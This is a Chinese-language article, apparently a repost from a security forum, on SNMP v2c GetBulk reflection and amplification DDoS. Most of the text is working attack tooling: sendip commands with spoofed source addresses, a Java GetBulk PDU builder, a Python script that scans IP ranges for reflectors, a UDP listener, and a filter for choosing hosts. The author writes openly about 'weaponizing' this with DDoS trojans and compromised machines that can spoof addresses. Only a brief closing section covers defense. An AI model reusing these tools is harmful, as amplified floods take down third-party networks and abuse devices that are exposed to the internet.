<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/2106

                    0x00前言


                    當時dns反射攻擊爆發的時候,我就開始研究snmp的反射攻擊(實際可以達到20倍的放大效果),在2013年夏天就已經理論研究完成,后來實現工具化。最后還差規模化(武器化)。其實,是國外在2013年初,就有只言片語敘述snmp的反射攻擊,但是沒有一篇完整的文章,最近在微博上看到很多朋友轉載國外的信息,我覺得,如果再不把自己所研究的放出來刷刷存在感,讓我這個rank9的人活不下去了。

                    0x01背景


                    羅嗦了這么多,進入正題。

                    首先反射攻擊的基礎是向有缺陷的目標發送精心構造的偽造源ip地址的udp包來實現。第二,需要主機和缺陷主機之間有大小不對等的信息交換。一般滿足這兩個條件就可以來實現反射攻擊。

                    0x02理論


                    Snmp就不過多介紹了,大家可以百度。Snmp有3個版本,這里攻擊最理想的是2c版本,而恰恰2c版本也是應用最廣的。

                    在bt5下可以用snmpwalk或snmpget命令來和snmp主機進行交換數據。

                    Snmpwalk –c public –v2c IP oid
                    

                    這里oid是獲取snmp具體信息內容的一個標識,snmp里面存的信息是一個樹狀的信息結構。

                    2014052716250940920.jpg

                    其實snmpwalk是獲取一條oid信息,但是這個oid里面附帶了下一個樹節點的oid號,然后snmp會通過 snmpget繼續訪問下一個oid號(在getnext字段里面),來執行一個類似于循環的行為,但是snmpget的協議大家也看到了,只能獲取到一條信息,79的信息長度,只能獲得279的反饋,這樣實現攻擊的放大倍數是不給力的。

                    關鍵點來了,根據rfc1441-rfc1452文檔說明,snmp第二版里面引入了getbulk來取代反復getnext,用來更好的在單個請求里面獲得大量的管理數據。相對應的bt5下還有個snmpbulkget命令

                    snmpbulkget -v2c -Cn0 -Cr70 -c public IP oid
                    

                    對應就是獲取當前oid后面的70個團體字,這樣如果你用snmpwalk跑一個1.3.6的團體字會看到很多信息,而你用bulkget這個一次就可以收到一個包里面包含70條信息的數據包,如圖。

                    2014052716263586576.jpg

                    這里看到數據包的length大家就會明白了,就是利用這種方式,來獲得反射攻擊的效果。

                    這里大家會有個疑問。一個snmp里面會包含n多的信息(上千條肯定有了)為什么這里只用70條,用更多的會返回更多的信息,獲得更大的倍數。當然我也想,這么做,可是snmp這協議不像ntp協議直接給你把數據分包返回,而是通過一個包里的不同字段返回多個信息的,所以這里面就會受到網絡鏈路上的mtu這個值的影響,1500這個硬傷是不能越過去的。理論上已經實現了信息不對等的交互了,那么下面就是偽造源ip發udp包的環節了。

                    此處我用的是sendip這個工具,安裝很簡單http://www.earth.li/projectpurple/progs/sendip.html

                    下載源碼之后直接在linux下編譯安裝,這其中可能會遇到編譯問題,請參考這里http://blog.csdn.net/figo1986/article/details/7336131

                    下面看下我用的命令

                    sendip -v -p ipv4 -is src_IP -id dst_IP -p udp -us 8000 -ud 161 dst_IP  -d0x123456789
                    

                    這里是使用ipv4的協議發送udp包,src_IP 源ip, dst_ip 目的ip,-us udp源端口,-ud udp目的端口,這里snmp默認端口是161,源端口自己隨便填,最后部分是數據部分,其實可以直接輸入明文的,但是snmp的pdu編碼是非常蛋疼的,所以我使用了-d 16進制的形式。

                    下面是效果,這個包就發到本地吧,這里的源地址就是ddos的反射攻擊的被攻擊者的地址。

                    2014052716275084302.jpg

                    這里看到了效果,為下一步工具化進行了鋪墊

                    最后這個圖是虛擬機環境搭的,實現反射攻擊的整體圖

                    2014052716283040757.jpg

                    0x03工具化


                    首先要解決snmp數據包pdu部分的蛋疼的編碼部分,snmp的數據部分是符合基本編碼規則(ber)的這里有三篇文章,大家可以完全讀懂ber編碼和snmp的關系。

                    http://blog.csdn.net/shanzhizi/article/details/11574849
                    http://yuanmuqiuyu2000.blog.sohu.com/72641116.html
                    http://blog.chinaunix.net/uid-23069658-id-3251045.html

                    對于這個蛋疼的編碼,我寫了個java程序來生成pdu,里面有注釋,大家很好理解的。

                    #!java
                    import java.io.UnsupportedEncodingException;
                    
                    public class SnmpPDUber {
                        public static String sumlen(String s){
                            int c=0;
                            String r="";
                            String r2="";
                            s=qukongge(s);
                            s=s.replaceAll(" ","+");
                            r=s.replaceAll("\\+","");
                            //System.out.println(s);
                            c=r.length()/2;
                            r2=Integer.toHexString(c);             //十進制轉換成16進制返回
                            return subStr(r2);
                        }
                    
                        public static String randomtohex(int i) //產生 i 組 16進制 隨機數
                        {
                            String s="";
                            int k;
                            for(int j=0;j<i;j++){
                            k=(int)(1+Math.random()*(254-1+1));
                                s=s+Integer.toHexString(k)+" ";
                            }
                            return s;
                        }
                    
                        public static String subStr(String s)         // (雙位) 0變成00
                        {
                            if(s.length()%2==1){
                                s="0"+s;
                            }
                            return s;
                    
                        }
                        public static String qukongge(String s){return s.replaceAll(" ","");} //去除空格
                    
                        public static String toHexString(String s)
                        {
                            String str="";
                            for (int i=0;i<s.length();i++)
                            {
                                int ch = (int)s.charAt(i);
                                String s4 = Integer.toHexString(ch);
                                str = str +" "+ s4;
                            }
                            return str;
                        }
                        public static void main(String args[]){
                            // tag+len+values
                            String tag="30";//tag標識域 SEQUENCE類型
                            String len="00";
                            String values="";//values值域
                    
                            String versiontag="02";//version tag標識域 INTEGER類型
                            String versionlen="01";
                            String versionvalues="01";//version values 00 1版本     01 2c版本
                    
                            String Communitytag="04";//Community tag標識域 string類型
                            String Communitylen="00";//Community len長度域
                            String Communityvalues=args[0];//Community 值域public
                            System.out.println(Communityvalues);
                            Communityvalues=toHexString(Communityvalues);
                            System.out.println(Communityvalues);
                    
                            String pdutag="a5";//pdu tag 標識域 a5 是 getbulkrequest
                            String pdulen="00";//pdu len長度域
                            String pduvalue="";//pdu 值域
                    
                            String requestid_tag="02";//requestid tag 標識域 INTEGER類型
                            String requestid_len="04";//requestid len 長度域
                            String requestid_values="";//8位 16進制 隨機   ID
                    
                            String non_repeaters_tag="02";// getbulk 開始段 標識域
                            String non_repeaters_len="01";
                            String non_repeaters_values="00";//16進制0
                    
                            String max_repeaters_tag="02";// getbulk 循環段 標識域
                            String max_repeaters_len="01";
                            String max_repeaters_values="64";// 16進制100
                    
                            String Variable_tag="30";
                            String Variable_len="00";
                            String Variable_value="";
                    
                            String Item_tag="30";
                            String Item_len="00";
                            String Item_values="";
                    
                            String Object_tag="06";
                            String Object_len="00";
                            String Object_values="2b 06 01 02 01";//1.3.6.1.2.1
                    
                            String value_tag="05";//no error 標識域
                            String value_len="00";
                    
                            /*
                            tag+len+[versiontag+versionlen+versionvalues+Communitytag+Communitylen+Communityvalues+pdutag+pdulen+[requestid_tag+requestid_len+requestid_values+non_repeaters_tag+non_repeaters_len+
                            non_repeaters_values+max_repeaters_tag+max_repeaters_len+max_repeaters_values+Variable_tag+Variable_len+[Item_tag+Item_len+[Object_tag+Object_len+Object_values+value_tag+value_len]]]]
                            */
                            String tmp="";
                            int j=0;
                            tmp=value_tag+" "+value_len;
                            Object_len=sumlen(Object_values);
                            Item_values=Object_tag+" "+Object_len+" "+Object_values+" "+tmp;
                            Item_len=sumlen(Item_values);
                            Variable_value=Item_tag+" "+Item_len+" "+Item_values;
                            Variable_len=sumlen(Variable_value);
                            tmp=Variable_tag+" "+Variable_len+" "+Variable_value;
                            requestid_values=randomtohex(4); //報文隨機id后面自帶空格,所以下面字符串拼接時候不需要帶空格
                            pduvalue=requestid_tag+" "+requestid_len+" "+requestid_values+non_repeaters_tag+" "+non_repeaters_len+" "+non_repeaters_values+" "+max_repeaters_tag+" "+max_repeaters_len+" "+max_repeaters_values+" "+tmp;
                            pdulen=sumlen(pduvalue);
                            tmp=pdutag+" "+pdulen+" "+pduvalue;
                            Communitylen=sumlen(Communityvalues);
                            values=versiontag+" "+versionlen+" "+versionvalues+" "+Communitytag+" "+Communitylen+" "+Communityvalues+" "+tmp;
                            len=sumlen(values);
                            tmp=tag+" "+len+" "+values;
                            System.out.println(tmp);
                            System.out.println("0x"+qukongge(tmp));
                            /*sendip -v -p ipv4 -is 192.168.1.101 -id 192.168.1.102 -p udp -us 8000 -ud 161 192.168.1.102 -d0x302602010104067075626c6963a519020440d32d10020100020164300b300906052b060102010500*/
                    
                        }
                    }
                    

                    注意:getbulk的循環字段就是對應 snmpbulkget 里面的 –Cr 標識位。

                    第二為了有一定數量的能進行反射的主機,需要一個給力的掃描器,這里會有人想到用zmap來掃描,但是要知道, udp的掃描可不像tcp那種你發請求連接就肯定會有返回連接的,實測有很多udp程序只要你發的數據不符合他接收的格式時,他是無任何反應和回復的,就和這個ip沒開相關端口是一樣的效果,snmp也是符合這種情況的,所以需要自己在掃描指定ip的時候發送和正常snmp請求的包一樣的數據包,來期盼正常的返回,來證明這個ip是否可以用來反射攻擊。不知道大家住沒注意到zmap是在不久之前才推出了snmp的掃描模塊,這個模塊我用過,不是太給力。下面是我用python寫的一個循環調用sendip發包的程序,來掃描ip段的,里面的pdu是用剛才java編碼程序生成出來的。發出的包用一個自寫的java程序監聽端口,如果有返回信息,就把返回的ip地址輸出到文件。

                    python 3.4版本的

                    #!python
                    import os
                    import time
                    from pip.backwardcompat import raw_input
                    
                    __author__ = 'qwe'
                    
                    class ipScan(object):
                        def __init__(self, begin, end):
                            self.begin = begin
                            self.end = end
                    
                        def traverseIP(self):
                            begin_ip = []
                            end_ip = []
                            begin = self.begin.split(".")
                            end = self.end.split(".")
                    
                            #print(begin,end)
                    
                            for m in begin:
                                begin_ip.append(int(m))
                            for n in end:
                                end_ip.append(int(n))
                    
                            a1 = begin_ip[1]
                            b1 = end_ip[1]
                            a2 = begin_ip[2]
                            b2 = end_ip[2]
                            a3 = begin_ip[3]
                            b3 = end_ip[3]
                    
                            print(a1,b1,a2,b2,a3,b3)
                    
                            for o in range(a1,b1+1):
                                p=1
                                q=1
                                if(o==a1):
                                    p=a2
                                else:
                                    p=1
                                if(o==b1):
                                    q=b2
                                else:
                                    q=254
                                for m in range(a2, b2 + 1):
                                    i = 1
                                    j = 1
                                    if (m == a2 ):
                                        i = a3
                                    else:
                                        i = 1
                                    if (m == b2):
                                        j = b3
                                    else:
                                        j = 254
                                    for n in range(i, j + 1):
                                        ipstr=(str(begin_ip[0]) + "." + str(o) + "." + str(m) + "." + str(n))
                                        sendip='sendip -p ipv4 -is 192.168.0.108 -id '+ipstr+' -p udp -us 8450 -ud 161 '+ipstr+' -d0x302902010104067075626c6963a01c020461270b1b020100020100300e300c06082b060102010101000500'
                                        print(sendip)
                                        os.system(sendip)
                                        time.sleep(0.1)
                    
                    begin = raw_input("enter begin ip addr: ")
                    end = raw_input("enter end ip addr: ")
                    #print (begin,end)
                    
                    a = ipScan(begin, end)
                    a.traverseIP()
                    

                    java監聽程序

                    #!java
                    /**
                     * Created with IntelliJ IDEA.
                     * User: Clevo
                     * Date: 14-3-11
                     * Time: 下午10:09
                     * To change this template use File | Settings | File Templates.
                     */
                    
                    import org.bouncycastle.asn1.ASN1InputStream;
                    import org.bouncycastle.asn1.ASN1Primitive;
                    import org.bouncycastle.asn1.util.ASN1Dump;
                    
                    import java.io.ByteArrayInputStream;
                    import java.io.FileWriter;
                    import java.io.IOException;
                    import java.net.*;
                    
                    public class udpListen {
                    
                        public static void main(String[] args) {
                    
                                printReceiveInfomationFromPort(8000);
                    
                        }
                    
                        static void printReceiveInfomationFromPort(int port) {
                            new Thread(new MonitorPortRunnable(port)).start();
                        }
                    
                    }
                    
                    class MonitorPortRunnable implements Runnable {
                        byte buf[] = new byte[1024];
                        DatagramSocket ds = null;
                        DatagramPacket dp = null;
                        int localReceivePort ;
                        public MonitorPortRunnable(int localReceivePort) {
                            this.localReceivePort = localReceivePort;
                        }
                        public static void writefile2(String fileName, String content) {
                            try {
                                // 打開一個寫文件器,構造函數中的第二個參數true表示以追加形式寫文件
                                FileWriter writer = new FileWriter(fileName, true);
                                writer.write(content);
                                writer.close();
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
                        public void run() {
                            dp = new DatagramPacket(buf, 0, 1024);
                            try {
                                ds = new DatagramSocket(localReceivePort);
                    
                            } catch (SocketException e1) {
                                //prompt("本地接收端口已被使用");
                                System.exit(0);
                            }
                            while (true) {
                                try {
                                    ds.receive(dp);
                                    //System.out.println("信息來自:" + this.localReceivePort);
                                } catch (IOException e) {
                                    ds.close();
                                    e.printStackTrace();
                                }
                                byte[] c=dp.getData();
                                int c_len=dp.getLength();
                                String receiveMessage = new String(c, 0, c_len);
                                String receiveAddr=new String(dp.getAddress().toString());
                                //System.out.println(receiveMessage);//暫時打印到控制臺,一般輸出到文件
                                System.out.println(receiveAddr);
                                writefile2("result.txt",receiveAddr+"\r\n");
                            }
                        }
                    
                    
                    }
                    

                    2014052716295083031.png

                    最后還有一個java寫的結果過濾,其實就是一個snmp的信息獲取程序,來篩選可利用的主機或者設備,大家可以增加更多的功能,例如看出口的速度等。

                    #!java
                    import java.io.*;
                    import java.util.Vector;
                    
                    import org.snmp4j.CommunityTarget;
                    import org.snmp4j.PDU;
                    import org.snmp4j.Snmp;
                    import org.snmp4j.event.ResponseEvent;
                    import org.snmp4j.mp.SnmpConstants;
                    import org.snmp4j.smi.OID;
                    import org.snmp4j.smi.OctetString;
                    import org.snmp4j.smi.UdpAddress;
                    import org.snmp4j.smi.VariableBinding;
                    import org.snmp4j.transport.DefaultUdpTransportMapping;
                    
                    public class SnmpDATAget {
                        public static void main(String[] args) throws IOException, InterruptedException {
                            Snmp snmp = new Snmp(new DefaultUdpTransportMapping());
                            snmp.listen();
                    
                            //args[0]="public";
                            //args[1]="ip.txt";
                            //args[2]="oid.txt";
                    
                            CommunityTarget target = new CommunityTarget();
                            target.setCommunity(new OctetString(args[0]));
                            target.setVersion(SnmpConstants.version2c);
                            target.setTimeout(3000);    //3s
                            target.setRetries(1);     //重試次數
                    
                    
                            try {
                                //String encoding="GBK";
                                String encoding="UTF-8";
                                File file=new File(args[1]);
                                if(file.isFile() && file.exists()){ //判斷文件是否存在
                                    InputStreamReader read = new InputStreamReader(
                                            new FileInputStream(file),encoding);//考慮到編碼格式
                                    BufferedReader bufferedReader = new BufferedReader(read);
                                    String lineTxt = null;
                                    while((lineTxt = bufferedReader.readLine()) != null){
                                        System.out.print(lineTxt + "@");
                                        target.setAddress(new UdpAddress(lineTxt+"/161"));
                                        sendRequest(snmp, createGetPdu(args[2]), target);
                    
                                    }
                                    read.close();
                                }else{
                                    System.out.println("找不到指定的文件");
                                }
                            } catch (Exception e) {
                                System.out.println("讀取文件內容出錯");
                                e.printStackTrace();
                            }
                    
                    
                        }
                    
                        private static PDU createGetPdu(String path) {
                            PDU pdu = new PDU();
                            pdu.setType(PDU.GET);
                            try {
                                //String encoding="GBK";
                                String encoding="UTF-8";
                                File file=new File(path);
                                if(file.isFile() && file.exists()){ //判斷文件是否存在
                                    InputStreamReader read = new InputStreamReader(
                                            new FileInputStream(file),encoding);//考慮到編碼格式
                                    BufferedReader bufferedReader = new BufferedReader(read);
                                    String lineTxt = null;
                                    while((lineTxt = bufferedReader.readLine()) != null){
                                        pdu.add(new VariableBinding(new OID(lineTxt))); //sysName
                                        //System.out.println(lineTxt);
                                    }
                                    read.close();
                                }else{
                                    System.out.println("找不到指定的文件"+path);
                                }
                            } catch (Exception e) {
                                System.out.println("讀取文件內容出錯");
                                e.printStackTrace();
                            }
                            /*
                            pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.1.0")));
                            pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.2.0")));
                            pdu.add(new VariableBinding(new OID("1.3.6.1.2.1.1.3.0")));
                             */
                            return pdu;
                        }
                    
                        private static void sendRequest(Snmp snmp, PDU pdu, CommunityTarget target)
                                throws IOException {
                            ResponseEvent responseEvent = snmp.send(pdu, target);
                            PDU response = responseEvent.getResponse();
                    
                            if (response == null) {
                                System.out.println("TimeOut...");
                            } else {
                                if (response.getErrorStatus() == PDU.noError) {
                                    Vector<? extends VariableBinding> vbs = response.getVariableBindings();
                                    for (VariableBinding vb : vbs) {
                                        System.out.println(vb + " ," + vb.getVariable().getSyntaxString());
                                    }
                                } else {
                                    System.out.println("Error:" + response.getErrorStatusText());
                                }
                            }
                        }
                    
                    }
                    

                    0x04武器化


                    這里面sendip可以作為一個模塊集成到linux下面的ddos馬里面。

                    好吧讓大家失望了,從上面的各種雜牌程序大家不難看出,我是一個不會寫程序的人,所以ddos的馬部分默默地忽略掉吧,如果有大神會寫,我們可以共同研究。

                    0x05局限性,防御辦法和解決辦法


                    第一,需要發包的肉雞是屬于純外網ip地址,因為一般經過路由或者特殊設置(例如設置:忽略從lan口來的源ip地址不屬于本子網的數據包)的三層交換時,此偽造包就會被過濾掉,從而失去效果。解決辦法就是找那種可以發偽造包的肉雞,其實還是很多的,簡單點說nat形式為0的,基本都能發。這種肉雞國外還是不少的。

                    第二,是混世魔王給我提出來的,能進行反射的主機的數量。這個還是很多的,因為不光有些有需要的linux開snmp,其實linux開snmp的基本都是內網的機器,用來進行性能監控用,更多的是網絡上的設備,交換,路由,防火墻等,這些設備從小到大都會有開snmp的,他們所屬的帶寬大小也會有所不同,百兆千兆甚至萬兆以太網口的設備都是會出現的。所以這方面能反射的主機數量不用擔心。在上面工具化里面的掃描工具實踐一下就可以看出來。

                    第三,防御辦法,開snmp的主機盡量不要暴露在外網,還可以用改 默認密碼來限制訪問,或者改默認161端口。或者禁止響應bulkget的這種包,僅僅響應get方式獲取

                    歡迎各位朋友來指正問題。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频